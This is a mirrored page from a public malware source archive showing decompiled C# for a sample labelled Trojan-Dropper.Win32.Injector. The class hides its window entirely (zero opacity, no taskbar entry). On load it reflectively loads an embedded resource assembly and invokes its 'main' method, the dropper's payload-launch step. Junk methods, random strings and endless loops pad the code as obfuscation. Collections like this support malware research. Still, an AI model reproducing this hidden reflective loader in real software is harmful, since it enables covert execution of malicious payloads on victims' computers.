mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
291 lines
8.6 KiB
C#
291 lines
8.6 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: _2012_D.Form1
|
|||
|
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
|
|||
|
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.dblt-11c830b14a7f7fa5e638e993bfad14368652dc14146a3a0f4078ff2c21428131.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Drawing;
|
|||
|
using System.Reflection;
|
|||
|
using System.Runtime.CompilerServices;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace _2012_D
|
|||
|
{
|
|||
|
[DesignerGenerated]
|
|||
|
public class Form1 : Form
|
|||
|
{
|
|||
|
private IContainer components;
|
|||
|
[AccessedThroughProperty("Button1")]
|
|||
|
private Button _Button1;
|
|||
|
[AccessedThroughProperty("CheckBox1")]
|
|||
|
private CheckBox _CheckBox1;
|
|||
|
[AccessedThroughProperty("Label1")]
|
|||
|
private Label _Label1;
|
|||
|
[AccessedThroughProperty("RadioButton1")]
|
|||
|
private RadioButton _RadioButton1;
|
|||
|
[AccessedThroughProperty("PictureBox1")]
|
|||
|
private PictureBox _PictureBox1;
|
|||
|
|
|||
|
public Form1()
|
|||
|
{
|
|||
|
this.Load += new EventHandler(this.Form1_Load);
|
|||
|
this.InitializeComponent();
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
protected override void Dispose(bool disposing)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (!disposing || this.components == null)
|
|||
|
return;
|
|||
|
this.components.Dispose();
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
base.Dispose(disposing);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerStepThrough]
|
|||
|
private void InitializeComponent()
|
|||
|
{
|
|||
|
label_2:
|
|||
|
int num = 3;
|
|||
|
Point point1;
|
|||
|
Size size1;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
this.CheckBox1.AutoSize = true;
|
|||
|
CheckBox checkBox1_1 = this.CheckBox1;
|
|||
|
point1 = new Point(25, 61);
|
|||
|
Point point2 = point1;
|
|||
|
checkBox1_1.Location = point2;
|
|||
|
this.CheckBox1.Name = "CheckBox1";
|
|||
|
CheckBox checkBox1_2 = this.CheckBox1;
|
|||
|
size1 = new Size(81, 17);
|
|||
|
Size size2 = size1;
|
|||
|
checkBox1_2.Size = size2;
|
|||
|
this.CheckBox1.TabIndex = 1;
|
|||
|
this.CheckBox1.Text = "CheckBox1";
|
|||
|
this.CheckBox1.UseVisualStyleBackColor = true;
|
|||
|
this.Label1.AutoSize = true;
|
|||
|
Label label1_1 = this.Label1;
|
|||
|
point1 = new Point(25, 88);
|
|||
|
Point point3 = point1;
|
|||
|
label1_1.Location = point3;
|
|||
|
this.Label1.Name = "Label1";
|
|||
|
Label label1_2 = this.Label1;
|
|||
|
size1 = new Size(39, 13);
|
|||
|
Size size3 = size1;
|
|||
|
label1_2.Size = size3;
|
|||
|
this.Label1.TabIndex = 2;
|
|||
|
this.Label1.Text = "Label1";
|
|||
|
num = 2;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
goto label_7;
|
|||
|
case 2:
|
|||
|
this.RadioButton1.AutoSize = true;
|
|||
|
RadioButton radioButton1_1 = this.RadioButton1;
|
|||
|
point1 = new Point(28, 113);
|
|||
|
Point point4 = point1;
|
|||
|
radioButton1_1.Location = point4;
|
|||
|
this.RadioButton1.Name = "RadioButton1";
|
|||
|
RadioButton radioButton1_2 = this.RadioButton1;
|
|||
|
size1 = new Size(90, 17);
|
|||
|
Size size4 = size1;
|
|||
|
radioButton1_2.Size = size4;
|
|||
|
this.RadioButton1.TabIndex = 3;
|
|||
|
this.RadioButton1.TabStop = true;
|
|||
|
this.RadioButton1.Text = "RadioButton1";
|
|||
|
this.RadioButton1.UseVisualStyleBackColor = true;
|
|||
|
PictureBox pictureBox1_1 = this.PictureBox1;
|
|||
|
point1 = new Point(113, 46);
|
|||
|
Point point5 = point1;
|
|||
|
pictureBox1_1.Location = point5;
|
|||
|
this.PictureBox1.Name = "PictureBox1";
|
|||
|
PictureBox pictureBox1_2 = this.PictureBox1;
|
|||
|
size1 = new Size(30, 50);
|
|||
|
Size size5 = size1;
|
|||
|
pictureBox1_2.Size = size5;
|
|||
|
this.PictureBox1.TabIndex = 4;
|
|||
|
this.PictureBox1.TabStop = false;
|
|||
|
if (true)
|
|||
|
{
|
|||
|
num = 1;
|
|||
|
continue;
|
|||
|
}
|
|||
|
goto case 0;
|
|||
|
case 3:
|
|||
|
this.Button1 = new Button();
|
|||
|
this.CheckBox1 = new CheckBox();
|
|||
|
this.Label1 = new Label();
|
|||
|
this.RadioButton1 = new RadioButton();
|
|||
|
this.PictureBox1 = new PictureBox();
|
|||
|
((ISupportInitialize) this.PictureBox1).BeginInit();
|
|||
|
this.SuspendLayout();
|
|||
|
Button button1_1 = this.Button1;
|
|||
|
point1 = new Point(25, 22);
|
|||
|
Point point6 = point1;
|
|||
|
button1_1.Location = point6;
|
|||
|
this.Button1.Name = "Button1";
|
|||
|
Button button1_2 = this.Button1;
|
|||
|
size1 = new Size(75, 23);
|
|||
|
Size size6 = size1;
|
|||
|
button1_2.Size = size6;
|
|||
|
this.Button1.TabIndex = 0;
|
|||
|
this.Button1.Text = "Button1";
|
|||
|
this.Button1.UseVisualStyleBackColor = true;
|
|||
|
num = 0;
|
|||
|
continue;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
label_7:
|
|||
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|||
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|||
|
size1 = new Size(155, 138);
|
|||
|
this.ClientSize = size1;
|
|||
|
this.Controls.Add((Control) this.PictureBox1);
|
|||
|
this.Controls.Add((Control) this.RadioButton1);
|
|||
|
this.Controls.Add((Control) this.Label1);
|
|||
|
this.Controls.Add((Control) this.CheckBox1);
|
|||
|
this.Controls.Add((Control) this.Button1);
|
|||
|
this.Name = nameof (Form1);
|
|||
|
this.Opacity = 0.0;
|
|||
|
this.ShowIcon = false;
|
|||
|
this.ShowInTaskbar = false;
|
|||
|
((ISupportInitialize) this.PictureBox1).EndInit();
|
|||
|
this.ResumeLayout(false);
|
|||
|
this.PerformLayout();
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Button Button1
|
|||
|
{
|
|||
|
get => this._Button1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual CheckBox CheckBox1
|
|||
|
{
|
|||
|
get => this._CheckBox1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Label Label1
|
|||
|
{
|
|||
|
get => this._Label1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual RadioButton RadioButton1
|
|||
|
{
|
|||
|
get => this._RadioButton1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._RadioButton1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual PictureBox PictureBox1
|
|||
|
{
|
|||
|
get => this._PictureBox1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
|||
|
}
|
|||
|
|
|||
|
private object HIyl7gY2uAFg65()
|
|||
|
{
|
|||
|
double num = 822.0;
|
|||
|
bool flag = false;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
while (true)
|
|||
|
{
|
|||
|
flag = true;
|
|||
|
num = 15.0;
|
|||
|
}
|
|||
|
}
|
|||
|
return (object) 75254250;
|
|||
|
}
|
|||
|
|
|||
|
private void Form1_Load(object sender, EventArgs e) => this.pleple();
|
|||
|
|
|||
|
public void VGUe8wq3d2B199unLsG4hS()
|
|||
|
{
|
|||
|
bool flag1 = true;
|
|||
|
string str = "#LiDp6T_@x6Z‡lE„015Ej„p„ˆ…l‰F<ƒ‚j@;vA!l}‹ebAx146\u0090]?";
|
|||
|
double num1 = 41.0;
|
|||
|
bool flag2 = false;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
flag2 = false;
|
|||
|
flag2 = false;
|
|||
|
double num2 = 31228811.0;
|
|||
|
str = "lu975wea79B7r5570A4J9VISgq3PtH349KMIkH1hgRAI5dYnS1R9EHzjW7Dw8l9OMFKXdv7813RZCJGEPX4S8Do18t";
|
|||
|
int num3 = 939971;
|
|||
|
while (num3 <= 114)
|
|||
|
checked { ++num3; }
|
|||
|
str = "JVV249ch5AK0eUKdOxIeFM9S5WIAbX0450rN18ISI7sSKESbUcAEm9m244FEe2wg8k20TX0Sbs804wV6R";
|
|||
|
num2 = 6330.0;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
flag1 = false;
|
|||
|
num1 = 25.0;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public void pleple()
|
|||
|
{
|
|||
|
Assembly assembly = Assembly.Load(_2012_D.My.Resources.Resources.Function_1);
|
|||
|
object[] args = new object[0];
|
|||
|
assembly.GetType("Fun.Usin20").InvokeMember("main", BindingFlags.InvokeMethod, (Binder) null, (object) null, args);
|
|||
|
}
|
|||
|
|
|||
|
private object wMm71r()
|
|||
|
{
|
|||
|
label_2:
|
|||
|
int num1 = 3;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
int num2 = (int) MessageBox.Show("iMa;‚KH|Ua|riXƒ@Š~z+sNP<fX4:%GYVMJŽ-P#L!LnaX,yjng’g\u0090‚Y‰‘1‘;…4aP9B<;-‡‡\u0081‡Qyr$€‹0€€Xf%s\\f‡T\u008F\u008FR{Y€}>G5ƒ]]yr1s^)z„18€M$nŽJYyhGl");
|
|||
|
num1 = 2;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
goto case 2;
|
|||
|
case 2:
|
|||
|
if (true)
|
|||
|
{
|
|||
|
num1 = 1;
|
|||
|
continue;
|
|||
|
}
|
|||
|
goto case 0;
|
|||
|
case 3:
|
|||
|
num1 = 0;
|
|||
|
continue;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|